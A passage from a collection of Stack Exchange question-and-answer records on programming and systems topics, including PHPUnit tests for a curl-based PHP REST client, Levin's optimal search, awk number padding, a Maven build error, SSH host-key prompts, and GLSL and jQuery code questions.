MikeBrant\\RestClientLib\\RestMultiClient::validateDataArray     */    public function testValidateDataArrayThrowsExceptionOnEmptyArray() {        $this->client->get(array());    }    /**     * @expectedException \\LengthException     * @covers MikeBrant\\RestClientLib\\RestMultiClient::validateDataArray     */    public function testValidateDataArrayThrowsExceptionOnOversizedArray() {        $maxHandles = $this->client->getMaxHandles();        $this->client->post(            array_fill(0, $maxHandles, 'action'),            array_fill(0, $maxHandles + 1, 'data')        );    }    /**     * @expectedException \\Exception     * @covers MikeBrant\\RestClientLib\\RestMultiClient::curlMultiSetup     */    public function testCurlMultiSetupThrowsExceptionOnCurlMultiInitFailure() {        self::$curlMultiInitResponse = false;        $this->client->get(            array_fill(0, 2, 'action')        );    }    /**     * @expectedException \\Exception     * @covers MikeBrant\\RestClientLib\\RestMultiClient::curlMultiExec     */    public function testCurlMultiExecThrowsExceptionOnMultiCurlFailure() {        self::$curlMultiExecResponse = $this->curlMultiExecFailedResponse;        $this->client->get(            array_fill(0, 2, 'action')        );    }    /**     * @expectedException \\Exception     * @covers MikeBrant\\RestClientLib\\RestMultiClient::curlMultiExec     */    public function testCurlMultiExecThrowsExceptionOnMalformedCurlHttpResponse() {        self::$curlMultiExecResponse = $this->curlMultiExecCompleteResponse;        self::$curlMultiGetcontentResponse = 'test';        self::$curlGetinfoResponse = array();        $this->client->get(            array_fill(0, 2, 'action')        );    }    /**     * @covers MikeBrant\\RestClientLib\\RestMultiClient::get     * @covers MikeBrant\\RestClientLib\\RestMultiClient::validateActionArray     * @covers MikeBrant\\RestClientLib\\RestMultiClient::curlMultiSetup     * @covers MikeBrant\\RestClientLib\\RestMultiClient::resetRequestResponseProperties     * @covers MikeBrant\\RestClientLib\\RestMultiClient::setRequestUrls     * @covers MikeBrant\\RestClientLib\\RestMultiClient::curlMultiExec     * @covers MikeBrant\\RestClientLib\\RestMultiClient::curlMultiTeardown     */    public function testGet() {        self::$curlMultiExecResponse = $this->curlMultiExecCompleteResponse;        self::$curlMultiGetcontentResponse = 'test';        self::$curlGetinfoResponse = $this->curlGetinfoMockResponse;        $response = $this->client->get(            array_fill(0, 2, 'action')        );        $this->assertInstanceOf(CurlMultiHttpResponse::class, $response);        $this->assertAttributeEquals(null, 'curlMultiHandle', $this->client);    }    /**     * @expectedException \\LengthException     * @covers MikeBrant\\RestClientLib\\RestMultiClient::post     */    public function testPostThrowsExceptionOnArraySizeMismatch() {        $maxHandles = $this->client->getMaxHandles();        $this->client->post(            array_fill(0, $maxHandles, 'action'),            array_fill(0, $maxHandles - 1, 'data')        );    }    /**     * @covers MikeBrant\\RestClientLib\\RestMultiClient::post     * @covers MikeBrant\\RestClientLib\\RestMultiClient::validateData     * @covers MikeBrant\\RestClientLib\\RestMultiClient::setRequestData     */    public function testPost() {        self::$curlMultiExecResponse = $this->curlMultiExecCompleteResponse;        self::$curlMultiGetcontentResponse = 'test';        self::$curlGetinfoResponse = $this->curlGetinfoMockResponse;        $response = $this->client->post(            array_fill(0, 2, 'action'),            array_fill(0, 2, 'data')        );        $this->assertInstanceOf(CurlMultiHttpResponse::class, $response);        $this->assertAttributeEquals(null, 'curlMultiHandle', $this->client);   }    /**     * @expectedException \\LengthException     * @covers MikeBrant\\RestClientLib\\RestMultiClient::put     */    public function testPutThrowsExceptionOnArraySizeMismatch() {        $maxHandles = $this->client->getMaxHandles();        $this->client->put(            array_fill(0, $maxHandles, 'action'),            array_fill(0, $maxHandles - 1, 'data')        );    }    /**     * @covers MikeBrant\\RestClientLib\\RestMultiClient::put     */    public function testPut() {        self::$curlMultiExecResponse = $this->curlMultiExecCompleteResponse;        self::$curlMultiGetcontentResponse = 'test';        self::$curlGetinfoResponse = $this->curlGetinfoMockResponse;        $response = $this->client->put(            array_fill(0, 2, 'action'),            array_fill(0, 2, 'data')        );        $this->assertInstanceOf(CurlMultiHttpResponse::class, $response);        $this->assertAttributeEquals(null, 'curlMultiHandle', $this->client);    }    /**     * @covers MikeBrant\\RestClientLib\\RestMultiClient::delete     */    public function testDelete() {        self::$curlMultiExecResponse = $this->curlMultiExecCompleteResponse;        self::$curlMultiGetcontentResponse = 'test';        self::$curlGetinfoResponse = $this->curlGetinfoMockResponse;        $response = $this->client->delete(            array_fill(0, 2, 'action')        );        $this->assertInstanceOf(CurlMultiHttpResponse::class, $response);        $this->assertAttributeEquals(null, 'curlMultiHandle', $this->client);    }    /**     * @covers MikeBrant\\RestClientLib\\RestMultiClient::head     */    public function testHead() {        self::$curlMultiExecResponse = $this->curlMultiExecCompleteResponse;        self::$curlMultiGetcontentResponse = 'test';        self::$curlGetinfoResponse = $this->curlGetinfoMockResponse;        $response = $this->client->head(            array_fill(0, 2, 'action')        );        $this->assertInstanceOf(CurlMultiHttpResponse::class, $response);        $this->assertAttributeEquals(null, 'curlMultiHandle', $this->client);    }}CurlMultiHttpResponse class<?phpnamespace MikeBrant\\RestClientLib;class CurlMultiHttpResponse{    /**     * Variable to store individual CurlHttpResponse objects from curl_multi call     *      * @var array     */    protected $curlHttpResponses = array();    /**     * Constructor method. Currently there is no instantiation logic.     */    public function __construct() {}    /**     * Method to add CurlHttpResponse object to collection     *      * @param CurlHttpResponse $response     * @return void     */    public function addResponse(CurlHttpResponse $response) {        $this->curlHttpResponses[] = $response;    }    /**     * Returns array of all CurlHttpResponse objects in collection.     *      * @return array     */    public function getCurlHttpResponses() {        return $this->curlHttpResponses;    }    /**     * Alias for getCurlHttpResponses     *      * @return array     */    public function getAll() {        return $this->getCurlHttpResponses();    }    /**     * Returns array of response bodies for each response in collection.     *      * @return array     */    public function getResponseBodies() {        return array_map(            function(CurlHttpResponse $value) {                return $value->getBody();            },            $this->curlHttpResponses        );    }    /**     * Returns array of response codes for each response in collection.     *      * @return array     */    public function getHttpCodes() {        return array_map(            function(CurlHttpResponse $value) {                return $value->getHttpCode();            },            $this->curlHttpResponses        );    }    /**     * Returns array of URL's used for each response in collectoin as returned via curl_getinfo.     *      * @return array     */    public function getRequestUrls() {        return array_map(            function(CurlHttpResponse $value) {                return $value->getRequestUrl();            },            $this->curlHttpResponses        );    }    /**     * Returns array of request headers for each response in collection as returned via curl_getinfo.     *      * @return array     */    public function getRequestHeaders() {        return array_map(            function(CurlHttpResponse $value) {                return $value->getRequestHeader();            },            $this->curlHttpResponses        );    }    /**     * Returns array of curl_getinfo arrays for each response in collection.     * See documentation at http://php.net/manual/en/function.curl-getinfo.php for expected format for each array element.     *      * @return array     */    public function getCurlGetinfoArrays() {        return array_map(            function(CurlHttpResponse $value) {                return $value->getCurlGetinfo();            },            $this->curlHttpResponses        );    }}CurlMultiHttpResponse unit tests<?phpnamespace MikeBrant\\RestClientLib;use PHPUnit\\Framework\\TestCase;class CurlMultiHttpResponseTest extends TestCase{    protected $curlMultiHttpResponse = null;    protected $curlExecMockResponse = 'Test Response';    protected $curlGetinfoMockResponse = array(        'url' => 'http://google.com/',        'content_type' => 'text/html; charset=UTF-8',        'http_code' => 200,        'header_size' => 321,        'request_size' => 49,        'filetime' => -1,        'ssl_verify_result' => 0,        'redirect_count' => 0,        'total_time' => 1.123264,        'namelookup_time' => 1.045272,        'connect_time' => 1.070183,        'pretransfer_time' => 1.071139,        'size_upload' => 0,        'size_download' => 219,        'speed_download' => 194,        'speed_upload' => 0,        'download_content_length' => 219,        'upload_content_length' => -1,        'starttransfer_time' => 1.122377,        'redirect_time' => 0,        'redirect_url' => 'http://www.google.com/',        'primary_ip' => '216.58.194.142',        'certinfo' => array(),        'primary_port' => 80,        'local_ip' => '192.168.1.74',        'local_port' => 59733,        'request_header' => GET / HTTP/1.1\\nHost: google.com\\nAccept: */*,    );    protected function setUp() {        $this->curlMultiHttpResponse = new CurlMultiHttpResponse();    }    public function curlHttpResponseProvider() {        return array(            array(                new CurlHttpResponse($this->curlExecMockResponse, $this->curlGetinfoMockResponse)            )        );    }    /**     * @dataProvider curlHttpResponseProvider     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::addResponse     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::getCurlHttpResponses     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::getAll     */    public function testAddResponse($curlHttpResponse) {        $responseArray = array_fill(0, 5, $curlHttpResponse);        for ($i = 0; $i < count($responseArray); $i++) {            $this->curlMultiHttpResponse->addResponse($curlHttpResponse);        }        $this->assertEquals($responseArray, $this->curlMultiHttpResponse->getCurlHttpResponses());        $this->assertEquals($responseArray, $this->curlMultiHttpResponse->getAll());    }    /**     * @dataProvider curlHttpResponseProvider     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::getResponseBodies     */    public function testGetRepsonseBodies($curlHttpResponse) {        $responseArray = array_fill(0, 5, $curlHttpResponse);        for ($i = 0; $i < count($responseArray); $i++) {            $this->curlMultiHttpResponse->addResponse($curlHttpResponse);        }        $responseBodies = array_map(            function($val) {                return $val->getBody();            },            $responseArray        );        $this->assertEquals($responseBodies, $this->curlMultiHttpResponse->getResponseBodies());    }    /**     * @dataProvider curlHttpResponseProvider     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::getHttpCodes     */    public function testgetHttpCodes($curlHttpResponse) {        $responseArray = array_fill(0, 5, $curlHttpResponse);        for ($i = 0; $i < count($responseArray); $i++) {            $this->curlMultiHttpResponse->addResponse($curlHttpResponse);        }        $responseCodes = array_map(            function($val) {                return $val->getHttpCode();            },            $responseArray        );        $this->assertEquals($responseCodes, $this->curlMultiHttpResponse->getHttpCodes());    }    /**     * @dataProvider curlHttpResponseProvider     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::getRequestUrls     */    public function testGetRequestUrls($curlHttpResponse) {        $responseArray = array_fill(0, 5, $curlHttpResponse);        for ($i = 0; $i < count($responseArray); $i++) {            $this->curlMultiHttpResponse->addResponse($curlHttpResponse);        }        $requestUrls = array_map(            function($val) {                return $val->getRequestUrl();            },            $responseArray        );        $this->assertEquals($requestUrls, $this->curlMultiHttpResponse->getRequestUrls());    }    /**     * @dataProvider curlHttpResponseProvider     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::getRequestHeaders     */    public function testGetRequestHeaders($curlHttpResponse) {        $responseArray = array_fill(0, 5, $curlHttpResponse);        for ($i = 0; $i < count($responseArray); $i++) {            $this->curlMultiHttpResponse->addResponse($curlHttpResponse);        }        $requestHeaders = array_map(            function($val) {                return $val->getRequestHeader();            },            $responseArray        );        $this->assertEquals($requestHeaders, $this->curlMultiHttpResponse->getRequestHeaders());    }    /**     * @dataProvider curlHttpResponseProvider     * @covers MikeBrant\\RestClientLib\\CurlMultiHttpResponse::getCurlGetinfoArrays     */    public function testGetCurlGetinfoArrays($curlHttpResponse) {        $responseArray = array_fill(0, 5, $curlHttpResponse);        for ($i = 0; $i < count($responseArray); $i++) {            $this->curlMultiHttpResponse->addResponse($curlHttpResponse);        }        $requestInfoArrays = array_map(            function($val) {                return $val->getCurlGetinfo();            },            $responseArray        );        $this->assertEquals($requestInfoArrays, $this->curlMultiHttpResponse->getCurlGetinfoArrays());    }}"  , "title": "Curl-based REST Client Library (round 3)"  , "tags": "php;rest;curl;phpunit"  } 
{  "id": "_cstheory.27364"  , "question": "I am quite certain that I am not the first to entertain the idea that I am going to present.  However, it would be helpful if I can find any literature related to the idea.The idea is to construct a Turing Machine M with the property that if P=NP then M will solve 3-SAT in polynomial time.  (The choice of 3-SAT is arbitrary.  It could be really any problem in NP).Just to be clear, this is not a claim that P=NP.  In fact, I believe the opposite.  I merely state that if P=NP, then M will provide a polynomial-time solution.  If you are looking for an efficient solution, I should warn that this is far from efficient.M is constructed as follows:first, assume a canonical encoding for all Turing Machines, and apply a numbering to these machines.  So, there is a Turing Machine number 1, a number 2, etc.  The idea of a Universal Turing Machine that can read the format for a provided machine and then simulate that machine's running on separate input is pretty well known.  M will employ a Universal Turing Machine to construct and simulate each Turing Machine in turn.It first simulates the running of Turing Machine 1 for a single step.It then looks at the output of Turing Machine 1.It the simulates the running of Turing Machine 1 for two steps and looks at output,then proceeds to simulate Turing Machine 2 for 2 steps.It continues and loops in this fashion, in turn running Turing Machine 1 for k steps then 2 for k steps ... then eventually machine k for k steps.After each simulation run, it examines the output of the run.  If the output is an assignment of variables satisfying the 3-SAT problem instance, M halts in an accept state.  If on the other hand, the output is a proof-string in some verifiable proof-language with the proven result that the problem instance is not satisfiable, M halts in a reject state.  (For a proof-language, we could for example, use the Peano Axioms with Second-Order logic and the basic Hilbert-style logical axioms.  I leave it as an exercise for the reader to figure out that if P=NP, a valid proof-language exists and is polynomial-time verifiable).I will claim here that M will solve 3-SAT in polynomial time if and only if P=NP.Eventually, the algorithm will find some magical Turing Machine with number K, which just so happens to be an efficient solver for the 3-SAT problem, and is able to provide a proof of its results for either success or failure.  K will eventually be simulated running poly(strlen(input)) steps for some polynomial.  The polynomial for M is roughly the square of the polynomial for k in the largest factor, but with some terrible constants in the polynomial.To reiterate my question here: I want to know if there is a literature source that employs this idea.  I am somewhat less interested in discussing the idea itself."  , "title": "Looking for Literature Source for Following idea"  , "tags": "reference request;turing machines;p vs np"  , "accepted_answer": "It seems that this idea is attributed to Levin (It is called optimal search). I believe this fact is well known. A similar algorithm is described in wikipedia for instance, although using the subset sum problem. In this article from scholarpedia you can find several references on the subject, including a pointer to the original algorithm and to some other optimal search algorithms. Comment 1: Levin's optimal search guarantees that if $\\varphi$ is a satisfiable instance then a solution will be found in polynomial time assuming $P=NP$. If $\\varphi$ is not satisfiable the algorithm may not terminate.Comment 2: As Jaroslaw Blasiok pointed out in another answer, this algorithm does not decide Sat only assuming P=NP."  } 
{  "id": "_unix.333878"  , "question": "I extracting a column from a file with different values, some of them are 11 character to 13, but whenever the value is 11 I need to add a 0 in front. awk -F, '{print $1 }' $FILE | \\ awk '{printf(%04d%s\\n, NR, $0)}' | \\ awk '{printf(%-12s\\n, $0) }'825449900788254499075789918800173893374020027239337402002686933740200274781215301073385227100500389000118359It should look like this:082544990078082544990757899188001738933740200272393374020026869337402002747812153010733852271005003089000118359"  , "title": "Add 0 when ever the value is 12 character"  , "tags": "text processing;awk;sed;numeric data"  , "accepted_answer": "You can use awk for this:$ awk 'length() == 11 { $0 = 0 $0 } 1' < input082544990078082544990757899188001738933740200272393374020026869337402002747812153010733852271005003089000118359"  } 
{  "id": "_unix.350177"  , "question": "I am trying to build lumify project with the following commandmvn package -e -P web-war -pl web/war -am -DskipTests -Dsource.skip=trueI am getting following compilation errors[INFO] Lumify ............................................ SUCCESS [1.818s][INFO] Lumify: Web ....................................... SUCCESS [0.051s][INFO] Lumify: Web: Client API ........................... SUCCESS [1.676s][INFO] Lumify: Core ...................................... SUCCESS [0.053s][INFO] Lumify: Core: Core ................................ SUCCESS [2.755s][INFO] Lumify: Core: Plugins ............................. SUCCESS [0.048s][INFO] Lumify: Core: Plugin: Model: BigTable ............. SUCCESS [1.888s][INFO] Lumify: Core: Plugin: Model: RabbitMQ ............. SUCCESS [0.883s][INFO] Lumify: Core: Plugin: Model: Secure Graph ......... SUCCESS [14.303s][INFO] Lumify: Web: Base ................................. FAILURE [12.883s][INFO] Lumify: Web: War .................................. SKIPPED[INFO] ------------------------------------------------------------------------[INFO] BUILD FAILURE[INFO] ------------------------------------------------------------------------[INFO] Total time: 38.403s[INFO] Finished at: Wed Mar 08 22:59:18 PST 2017[INFO] Final Memory: 49M/145M[INFO] ------------------------------------------------------------------------[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compile (default-compile) on project lumify-web: Compilation failure: Compilation failure:[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/routes/admin/AdminUploadOntology.java:[76,48] cannot find symbol[ERROR] symbol:   method getParts()[ERROR] location: variable request of type javax.servlet.http.HttpServletRequest[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/routes/config/Plugin.java:[39,33] cannot find symbol[ERROR] symbol:   method getServletContext()[ERROR] location: variable request of type javax.servlet.http.HttpServletRequest[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/routes/Index.java:[50,85] cannot find symbol[ERROR] symbol:   method getServletContext()[ERROR] location: variable request of type javax.servlet.http.HttpServletRequest[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/routes/vertex/VertexImport.java:[99,33] cannot find symbol[ERROR] symbol:   method getParts()[ERROR] location: variable request of type javax.servlet.http.HttpServletRequest[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/routes/vertex/VertexUploadImage.java:[96,60] cannot find symbol[ERROR] symbol:   method getParts()[ERROR] location: variable request of type javax.servlet.http.HttpServletRequest[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/ApplicationBootstrap.java:[140,54] cannot find symbol[ERROR] symbol:   method addServlet(java.lang.String,io.lumify.web.Router)[ERROR] location: variable context of type javax.servlet.ServletContext[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/ApplicationBootstrap.java:[151,54] cannot find symbol[ERROR] symbol:   method addServlet(java.lang.String,java.lang.Class<org.atmosphere.cpr.AtmosphereServlet>)[ERROR] location: variable context of type javax.servlet.ServletContext[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/ApplicationBootstrap.java:[152,16] cannot find symbol[ERROR] symbol:   method addListener(java.lang.Class<org.atmosphere.cpr.SessionSupport>)[ERROR] location: variable context of type javax.servlet.ServletContext[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/ApplicationBootstrap.java:[169,52] cannot find symbol[ERROR] symbol:   method addFilter(java.lang.String,java.lang.Class<io.lumify.web.RequestDebugFilter>)[ERROR] location: variable context of type javax.servlet.ServletContext[ERROR] /home/ziontest/lumify/lumify/web/web-base/src/main/java/io/lumify/web/ApplicationBootstrap.java:[175,52] cannot find symbol[ERROR] symbol:   method addFilter(java.lang.String,java.lang.Class<io.lumify.web.CacheServletFilter>)[ERROR] location: variable context of type javax.servlet.ServletContext[ERROR] -> [Help 1]org.apache.maven.lifecycle.LifecycleExecutionException: Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.1:compile (default-compile) on project lumify-web: Compilation failureat org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:213)at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:153)at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:145)at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:84)at org.apache.maven.lifecycle.internal.LifecycleModuleBuilder.buildProject(LifecycleModuleBuilder.java:59)at org.apache.maven.lifecycle.internal.LifecycleStarter.singleThreadedBuild(LifecycleStarter.java:183)at org.apache.maven.lifecycle.internal.LifecycleStarter.execute(LifecycleStarter.java:161)at org.apache.maven.DefaultMaven.doExecute(DefaultMaven.java:320)at org.apache.maven.DefaultMaven.execute(DefaultMaven.java:156)at org.apache.maven.cli.MavenCli.execute(MavenCli.java:537)at org.apache.maven.cli.MavenCli.doMain(MavenCli.java:196)at org.apache.maven.cli.MavenCli.main(MavenCli.java:141)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at org.codehaus.plexus.classworlds.launcher.Launcher.launchEnhanced(Launcher.java:289)at org.codehaus.plexus.classworlds.launcher.Launcher.launch(Launcher.java:229)at org.codehaus.plexus.classworlds.launcher.Launcher.mainWithExitCode(Launcher.java:415)at org.codehaus.plexus.classworlds.launcher.Launcher.main(Launcher.java:356)Caused by: org.apache.maven.plugin.compiler.CompilationFailureException: Compilation failureat org.apache.maven.plugin.compiler.AbstractCompilerMojo.execute(AbstractCompilerMojo.java:858)at org.apache.maven.plugin.compiler.CompilerMojo.execute(CompilerMojo.java:129)at org.apache.maven.plugin.DefaultBuildPluginManager.executeMojo(DefaultBuildPluginManager.java:101)at org.apache.maven.lifecycle.internal.MojoExecutor.execute(MojoExecutor.java:209)... 19 more[ERROR] [ERROR] Re-run Maven using the -X switch to enable full debug logging.[ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles:[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException[ERROR] [ERROR] After correcting the problems, you can resume the build with the command[ERROR]   mvn <goals> -rf :lumify-webI added javax-servlet-api 3.1.0 dependency in pom file. My java version is java 7. I set JAVA_HOME =/usr/lib/jvm/java-7-openjdk-amd64Still I am getting this error Please help me to resolve this issue as soon as possibleNote: I am building the project through terminal in ubuntu. I am not using any IDE"  , "title": "Maven Compilation error while building Lumify web-base project"  , "tags": "ubuntu;java;maven"  } 
{  "id": "_softwareengineering.46913"  , "question": "We are integrating a testing process in our SCRUM process. My new role is to write acceptance tests of our web applications in order to automate them later. I have read a lot about how tests cases should be written, but none gave me practical advices to write test cases for complex web applications, and instead they threw conflicting principles that I found hard to apply:Test cases should be short: Take the example of a CMS. Short test cases are easy to maintain and to identify the inputs and outputs. But what if I want to test a long series of operations (eg. adding a document, sending a notification to another user, the other user replies, the document changes state, the user gets a notice). It rather seems to me that test cases should represent complete scenarios. But I can see how this will produce overtly complex test documents.Tests should identify inputs and outputs:: What if I have a long form with many interacting fields, with different behaviors. Do I write one test for everything, or one for each?Test cases should be independent: But how can I apply that if testing the upload operation requires that the connect operation is successful? And how does it apply to writing test cases? Should I write a test for each operation, but each test declares its dependencies, or should I rewrite the whole scenario for each test?Test cases should be lightly-documented: This principles is specific to Agile projects. So do you have any advice on how to implement this principle?Although I thought that writing acceptance test cases was going to be simple, I found myself overwhelmed by every decision I had to make (FYI: I am a developer and not a professional tester). So my main question is: What steps or advices do you have in order to write maintainable acceptance test cases for complex applications. Thank you.Edit: To clarify my question: I am aware that Acceptance testing should start from the requirement and regard the whole application as a black box. My question relates to the practical steps to write the testing document, identify the test cases, deal with dependencies between tests...for complex web applications"  , "title": "Writing Acceptance test cases"  , "tags": "testing;documentation;acceptance testing"  , "accepted_answer": "In my acceptance suites I have stayed away from using technology specific controls i.e for web applications don't use css dont use html elements if you need to fill in a form do the specifics in the steps to setup the SUT not the actual acceptance tests I use cucumber for my acceptance and have the followingGiven A xxx And I am on the xxx pageAnd a clear email queueAnd I should see Total Payable xxxxAnd I supply my credit card detailsWhen I the payment has been processedThen my purchase should be completeAnd I should receive an emailWhen I open the email with subject xxxThen I should see the email delivered from xxAnd there should be an attachment of type application/pdfAnd attachment 1 should be named xxxxAnd I should be on the xxx pageAnd I should see my receiptthis example is back by a web application but I can still use the test to test against a desktop application as the steps are used to setup the SUT not the acceptance teststhis test sits at the end of a purchase which goesGenerate -> Confirm -> Payment -> Print Receiptthe test above is for the payment step the other steps are setup in other testsdue to the application being able to setup into these states with data or http actions in this case the payment has a given which does the confirm steps and the confirm does the generate steps so they are a bit brittle at the minute"  } 
{  "id": "_webmaster.24487"  , "question": "I'm using Windows 7 x64 and IIS 7 to serve several websites. What I want to do is set-up a mail server for every domain name (like in Linux hostings), and web-interface for example domain1.com/webmail, domain2.com/webmail ... Is that possible on Windows? Any suggestions?"  , "title": "Mail server for every website on IIS"  , "tags": "email;iis7;webserver;webmail;windows 7"  } 
{  "id": "_unix.121685"  , "question": "Above system call, there are library routines, utilities and applications. Do daemons fall into any of these categories or they have their own category?"  , "title": "Daemons fall into what category?"  , "tags": "daemon;architecture"  } 
{  "id": "_unix.364999"  , "question": "aircraftdeMacBook-Pro:~ ldl$ ssh root@103.32.202.71  The authenticity of host '103.35.202.76 (103.32.202.71)' can't be established.  RSA key fingerprint is SHA256:w9u+mNFvkMg8lNydqJ/ZT6tV0lX/pwGIf1rWfYW1w0s.Are you sure you want to continue connecting (yes/no)?What does this mean: RSA key fingerprint is SHA256:?Why does this show up?If I choose the yes then I get the below information:Warning: Permanently added '103.35.202.76' (RSA) to the list of known hosts.  Connection to 103.35.202.76 closed by remote host.  Connection to 103.35.202.76 closed.I searched Unix & Linux, and I found How does SSH display the message The authenticity of host .. can't be established?.Testing in my terminal:aircraftdeMacBook-Pro:~ ldl$ open(/dev/tty, O_RDWR)                = 4  -bash: syntax error near unexpected token `/dev/tty,'"  , "title": "The authenticity of host '103.35.202.76 (103.32.202.71)' can't be established"  , "tags": "linux;centos;ssh"  , "accepted_answer": "As with any kind of secure connection, you not only want to know that your connection, once established, is private between the parties communicating as well as resistant to tampering, but you also want to know that you're talking to the endpoint you thought you were talking to in the first place. Cryptography is great at solving the first problem, but it doesn't solve the second one at all (although it provides tool to help solve it). You need a PKI to solve the second problem.SSH doesn't have an elaborate PKI, neither the web of trust system popularized by PGP nor the top-down certification system popularized by HTTPS & SSL. As a result, it can't guarantee that the serve responding at the other end of a connection really was the one you tried to connect to. The connection might have been redirected at the TCP or IP level underneath the crypto without the crypto being able to notice.So the first time you connect to any SSH server, it asks you to confirm, by external means, whether the fingerprint offered by the server indeed corresponds to the fingerprint of the server you intended to connect to. You can verify this securely out of band, or, of course, at your own risk, you can answer yes anyway and take your chances.SSH does have a kind of mini-PKI: after the first time, it remembers the server's fingerprint, so that when you connect again to the same server it can check if it's the same one as before."  } 
{  "id": "_softwareengineering.141215"  , "question": "In an oriented-services enterprise application, isn't it an antipattern to mix Service APIs (containing interface that external users depends on) with Model objects (entities, custom exceptions objects etc...) ?According to me, Services should only depends on Model layer but never mixed with it. In fact, my colleague told me that it doesn't make sense to separate it since client need both. (model and service interfaces)But I notice that everytime a client asks for some changes, like adding a new method in some interface (means a new service), Model layer has to be also delivered...Thus, client who has not interested by this addition is constrained to be concerned by this update of Model... and in a large enterprise application, this kind of delivery is known to be very risked...What is the best practice ? Separate services(only interfaces so) and model objects or mix it ?  "  , "title": "Should Business Interfaces be part of the Model layer?"  , "tags": "java;design;enterprise architecture"  , "accepted_answer": "It depends on whether client is using exactly the same domain model as the server/service. Typically it doesn't, so they should be kept separate IMO."  } 
{  "id": "_computerscience.3826"  , "question": "I am running this fragment shader on every pixel on screen. I am trying to make it as efficient as possible. BTW I am running open gl es 2.0.The code segment below is only a sample from the code, there are about 56 different calls to Gaussian() spread across different functions. I am wondering wether it would be valuable to replace the calls to Gaussian() with there appropriate resulting float value.I know a lot of times stuff like this is pre-calculated on compilation of the shader, or calculated only once because the gpu realizes it is the same calculation for all fragments.So would it be worthwhile for me to manually calculate each of these and replace them with their values?uniform float scalar;varying float scalart;float deviationScale = 1.2;float finalScalar = 1.1;float Gaussian(float x, float deviation){    return (1.0 / sqrt(2.0 * 3.141592 * deviation)) * exp(-((x * x) / (2.0 * deviation)));}vec3 blurS5(){    vec3 blr = vec3(0.0);    blr += texture2D(s_texture, (v_texcoord + vec2(2.0 * scalart, 0.0))).xyz *  finalScalar * Gaussian(2.0, 2.0 * deviationScale) ;    blr += texture2D(s_texture, (v_texcoord + vec2(1.0 * scalart, 0.0))).xyz *  finalScalar * Gaussian(1.0, 2.0 * deviationScale) ;    blr += texture2D(s_texture, (v_texcoord + vec2(0.0 * scalart, 0.0))).xyz *  finalScalar * Gaussian(0.0, 2.0 * deviationScale) ;    blr += texture2D(s_texture, (v_texcoord + vec2(-1.0 * scalart, 0.0))).xyz *  finalScalar * Gaussian(-1.0, 2.0 * deviationScale) ;    blr += texture2D(s_texture, (v_texcoord + vec2(-2.0 * scalart, 0.0))).xyz *  finalScalar * Gaussian(-2.0, 2.0 * deviationScale) ;    return blr;}void main(){        if (scalar == 2.)        {            gl_FragColor = vec4(blurS5(), 1.0);        }        else if (scalar == 3.)        {            gl_FragColor = vec4(blurS9(), 1.0);        }        //There are waaayyy more of these}"  , "title": "Will the gaussian kernels in this fragment shader be computed for every fragment?"  , "tags": "shader;fragment shader;gaussian blur"  } 
{  "id": "_codereview.24212"  , "question": "The code allows you to select an area from the left column and another area from the right column followed by clicking on the Choose button which sends the chosen areas to the server:<html>  <head>    <style>    body {      overflow: hidden;    }    article.left {      overflow: hidden;      float: left;    }    article.left section {      float: left;    }    section {      border: 1px solid black;      height: 6em;      margin-right: 1em;      width: 4em;    }    article.right section {      border: 1px dashed black;    }    section.ice {      transform:rotate(-90deg);      -moz-transform:rotate(-90deg);       -webkit-transform:rotate(-90deg);     }    article.right {      float: right;    }    section.section-selected, section.right-selected {      border-color: #EEE;    }    input.choose {      display: none;    }    </style>    <script src=http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js></script>    <script>    $(document).ready(function() {      $('article.left section').click(function() {        var was_selected = $(this).hasClass('section-selected');        $('article.left section').removeClass('section-selected');        if (!was_selected) {          $(this).addClass('section-selected');        }      });      $('article.right section').click(function() {        $(this).toggleClass('right-selected');        if ($('section.right-selected')) {           $(this).children('input.choose').toggle();        }      });      $('input.choose').click(function() {        var section = $('section.section-selected');        if (section.length) {          console.log(section.attr('section-id') + ' ' + $(this).attr('location-type'));          console.log($(this).parents('article').attr('article-id'));        }        else {          console.log('none selected');        }      });    });    </script>  </head>  <body>    <article article-id=L class=left>      <section section-id=A>A</section>      <section section-id=B>B</section>    </article>    <article article-id=R class=right>      <section section-id=C><input type=button class=choose location-type=vertical value=Choose /></section>      <section section-id=D class=horizontal><input type=button class=choose location-type=horizontal value=Choose /></section>    </article>  </body></html>Here's a link to the jsfiddle http://jsfiddle.net/95WvB/.  The code is working fine but I am wondering if the above is what is considered as spaghetti code that so many of those js frameworks like ember or angular are trying to solve.  Is it best to use one of those framework to refactor the above code or use backbone?This code is a sample of a much larger web application which repeats more or less of the same interactions between front and backend."  , "title": "Is this spaghetti javascript code? How can it be refactored with a javascript 